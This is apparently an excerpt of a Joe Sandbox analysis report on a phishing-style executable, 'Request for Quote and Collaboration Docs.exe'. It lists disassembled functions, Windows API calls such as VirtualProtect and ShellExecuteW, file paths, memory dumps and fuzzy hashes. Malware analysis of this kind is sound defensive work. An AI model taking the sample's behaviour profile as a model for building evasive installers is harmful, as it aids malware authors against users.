Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction ID: e5271f86abd3e691175676240f3b6d2dabcfddd4658b863dc1b472273301a449
Opcode Fuzzy Hash: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction Fuzzy Hash: 8EE08632104259ABDF109E548C04EEB775CFB04350F044432F911E3140D231E820DBA4

Function 1000278D Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027AB

Memory Dump Source

Source File: 00000000.00000002.3045189799.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3044841472.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045310307.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045419469.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 267fa8ad402a2f1685f06aa6efb9df116a04c7e31b4918ac066fddfc95f4d9be
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 5EF092F15097A0DEF350DF688C847063BE0E7483C4B03852AE368F6268EB344044CF19

Function 00404164 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7da09c7c9c972ac789da334295fdd31a978bd1861dc1653affe8cad2486e61eb
Instruction ID: f15b28e5f211e7e8d1db6812d8cffd834990aabd0fd5fa3204c122ebb67abe5b
Opcode Fuzzy Hash: 7da09c7c9c972ac789da334295fdd31a978bd1861dc1653affe8cad2486e61eb
Instruction Fuzzy Hash: 2BB01235684202BBEE314B00ED0DF957E62F76C701F008474B340240F0CAB344B2DB09

Function 0040330F Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction ID: 9708a756cc2c9ae94551e8e9c592081b607f980c3267f7876f2ac268d6c84cd7
Opcode Fuzzy Hash: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction Fuzzy Hash: B8B01231584200BFDA214F00DE05F057B21A790700F10C030B304381F082712420EB5D

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,10001259,?,?,10001534,?,10001020,10001019,00000001), ref: 10001225

Memory Dump Source

Source File: 00000000.00000002.3045189799.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3044841472.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045310307.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045419469.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 004052D3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405332
GetDlgItem.USER32(?,000003EE), ref: 00405341
GetClientRect.USER32(?,?), ref: 0040537E
GetSystemMetrics.USER32(00000015), ref: 00405386
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004053A7
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053B8
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053CB
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053D9
SendMessageW.USER32(?,00001024,00000000,?), ref: 004053EC
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040540E
ShowWindow.USER32(?,00000008), ref: 00405422
GetDlgItem.USER32(?,000003EC), ref: 00405443
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405453
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040546C
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405478
GetDlgItem.USER32(?,000003F8), ref: 00405350

Part of subcall function 00404164: SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

GetDlgItem.USER32(?,000003EC), ref: 00405495
CreateThread.KERNEL32(00000000,00000000,Function_00005267,00000000), ref: 004054A3
CloseHandle.KERNEL32(00000000), ref: 004054AA
ShowWindow.USER32(00000000), ref: 004054CE
ShowWindow.USER32(?,00000008), ref: 004054D3
ShowWindow.USER32(00000008), ref: 0040551D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405551
CreatePopupMenu.USER32 ref: 00405562
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405576
GetWindowRect.USER32(?,?), ref: 00405596
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055AF
SendMessageW.USER32(?,00001073,00000000,?), ref: 004055E7
OpenClipboard.USER32(00000000), ref: 004055F7
EmptyClipboard.USER32 ref: 004055FD
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405609
GlobalLock.KERNEL32(00000000), ref: 00405613
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405627
GlobalUnlock.KERNEL32(00000000), ref: 00405647
SetClipboardData.USER32(0000000D,00000000), ref: 00405652
CloseClipboard.USER32 ref: 00405658

Strings

{, xrefs: 0040553B

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 0c7871d9c118b0e9bc82f4af322ee916726f515fd3ec4b55100c1069ec2247ae
Instruction ID: 9fa9afbe460ba73b362fbd7a7e80f39848d7c2b38d0fa32ac3ffaaa5a75fb061
Opcode Fuzzy Hash: 0c7871d9c118b0e9bc82f4af322ee916726f515fd3ec4b55100c1069ec2247ae
Instruction Fuzzy Hash: 4AB16B70900209BFDF219F60DD89AAE7B79FB04315F50803AFA05BA1A0C7759E52DF69

Function 004045CA Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404619
SetWindowTextW.USER32(00000000,?), ref: 00404643
SHBrowseForFolderW.SHELL32(?), ref: 004046F4
CoTaskMemFree.OLE32(00000000), ref: 004046FF
lstrcmpiW.KERNEL32(Call,004226D0,00000000,?,?), ref: 00404731
lstrcatW.KERNEL32(?,Call), ref: 0040473D
SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040474F

Part of subcall function 004056AA: GetDlgItemTextW.USER32(?,?,00000400,00404786), ref: 004056BD

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76233420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76233420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76233420,00403512), ref: 00406208

GetDiskFreeSpaceW.KERNEL32(004206A0,?,?,0000040F,?,004206A0,004206A0,?,00000000,004206A0,?,?,000003FB,?), ref: 00404810
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040482B
SetDlgItemTextW.USER32(00000000,00000400,00420690), ref: 004048B1

Strings

Call, xrefs: 0040472B, 00404730, 0040473B
A, xrefs: 004046ED
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 0040471A

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$Call
API String ID: 2246997448-3146337433
Opcode ID: 5e1be59e26550fe03483dde9140ef9c7df16d0723f1807c21cae017824fc49c2
Instruction ID: fc6e5784adbf23f3bf0ca4204261aafad130db7b69f5cfc08d06a9dfd3cb4e02
Opcode Fuzzy Hash: 5e1be59e26550fe03483dde9140ef9c7df16d0723f1807c21cae017824fc49c2
Instruction Fuzzy Hash: 1B916FB2900209ABDB11AFA1CC85AAF77B8EF85354F10847BF701B72D1D77C99418B69

Function 00402770 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040277F

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e985ba924887a1bc27921ead0041ac8d1a9f7f1065ea0f82ea0bc3cd49787025
Instruction ID: c3eebe46d33317c4d9c4db9deeb30b83dd141210d4acf70d00b973005abdca29
Opcode Fuzzy Hash: e985ba924887a1bc27921ead0041ac8d1a9f7f1065ea0f82ea0bc3cd49787025
Instruction Fuzzy Hash: 81F05EB1614114DBDB00DBA4DD499AEB378FF14318F20097AE141F31D0D6B45940DB2A

Function 004042CC Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040436A
GetDlgItem.USER32(?,000003E8), ref: 0040437E
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040439B
GetSysColor.USER32(?), ref: 004043AC
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043BA
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043C8
lstrlenW.KERNEL32(?), ref: 004043CD
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043DA
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043EF
GetDlgItem.USER32(?,0000040A), ref: 00404448
SendMessageW.USER32(00000000), ref: 0040444F
GetDlgItem.USER32(?,000003E8), ref: 0040447A
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044BD
LoadCursorW.USER32(00000000,00007F02), ref: 004044CB
SetCursor.USER32(00000000), ref: 004044CE
ShellExecuteW.SHELL32(0000070B,open,00427180,00000000,00000000,00000001), ref: 004044E3
LoadCursorW.USER32(00000000,00007F00), ref: 004044EF
SetCursor.USER32(00000000), ref: 004044F2
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404521
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404533

Strings

Call, xrefs: 004044A9
CB@, xrefs: 004044D8
open, xrefs: 004044DB
N, xrefs: 00404468

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: CB@$Call$N$open
API String ID: 3615053054-4184941720
Opcode ID: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction ID: ed67d3ceb40554f4a20f9fe4cecdec295417cbe43b6f72f0b7bb3cee00e3d4b7
Opcode Fuzzy Hash: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction Fuzzy Hash: 037173B1A00209BFDB109F64DD45A6A7B69FB84315F00813AF705BA2D0C778AD51DF99

Function 00405C08 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D70,NUL,?,00000000,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C18
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C3C
GetShortPathNameW.KERNEL32(00000000,00425D70,00000400), ref: 00405C45

Part of subcall function 00405ABB: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
Part of subcall function 00405ABB: lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

GetShortPathNameW.KERNEL32(?,00426570,00000400), ref: 00405C62
wsprintfA.USER32 ref: 00405C80
GetFileSize.KERNEL32(00000000,00000000,00426570,C0000000,00000004,00426570,?,?,?,?,?), ref: 00405CBB
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405CCA
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425970,00000000,-0000000A,00409544,00000000,[Rename],00000000,00000000,00000000), ref: 00405D58
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405D6A
GlobalFree.KERNEL32(00000000), ref: 00405D71
CloseHandle.KERNEL32(00000000), ref: 00405D78

Part of subcall function 00405B56: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Strings

NUL, xrefs: 00405C12
%ls=%ls, xrefs: 00405C76
p]B, xrefs: 00405C0D
peB, xrefs: 00405C57
[Rename], xrefs: 00405CEA, 00405CFC

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$NUL$[Rename]$p]B$peB
API String ID: 1265525490-3322868524
Opcode ID: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
Instruction ID: dd28b8746f6bac9015e409c36d2f5baf321d2fce784c03eddf9b1c2e257c4ca8
Opcode Fuzzy Hash: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
Instruction Fuzzy Hash: 9741E271604B19BBD2216B715C4DF6B3B6CEF41754F14453BBA01B62D2EA3CA8018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281E0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction ID: 126a239e0572de30fb8c34ac70cebce50066b6690b2383a097db7944ba687981
Opcode Fuzzy Hash: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction Fuzzy Hash: DA419A71804249AFCB058FA5DD459BFBFB9FF48310F00802AF951AA1A0C738EA51DFA5

Function 0040617E Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76233420,00403512), ref: 004061E1
CharNextW.USER32(?,?,?,00000000), ref: 004061F0
CharNextW.USER32(?,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76233420,00403512), ref: 004061F5
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76233420,00403512), ref: 00406208

Strings

"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe", xrefs: 004061C2
C:\Users\user\AppData\Local\Temp\, xrefs: 0040617F, 00406184
*?|<>/":, xrefs: 004061D0

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
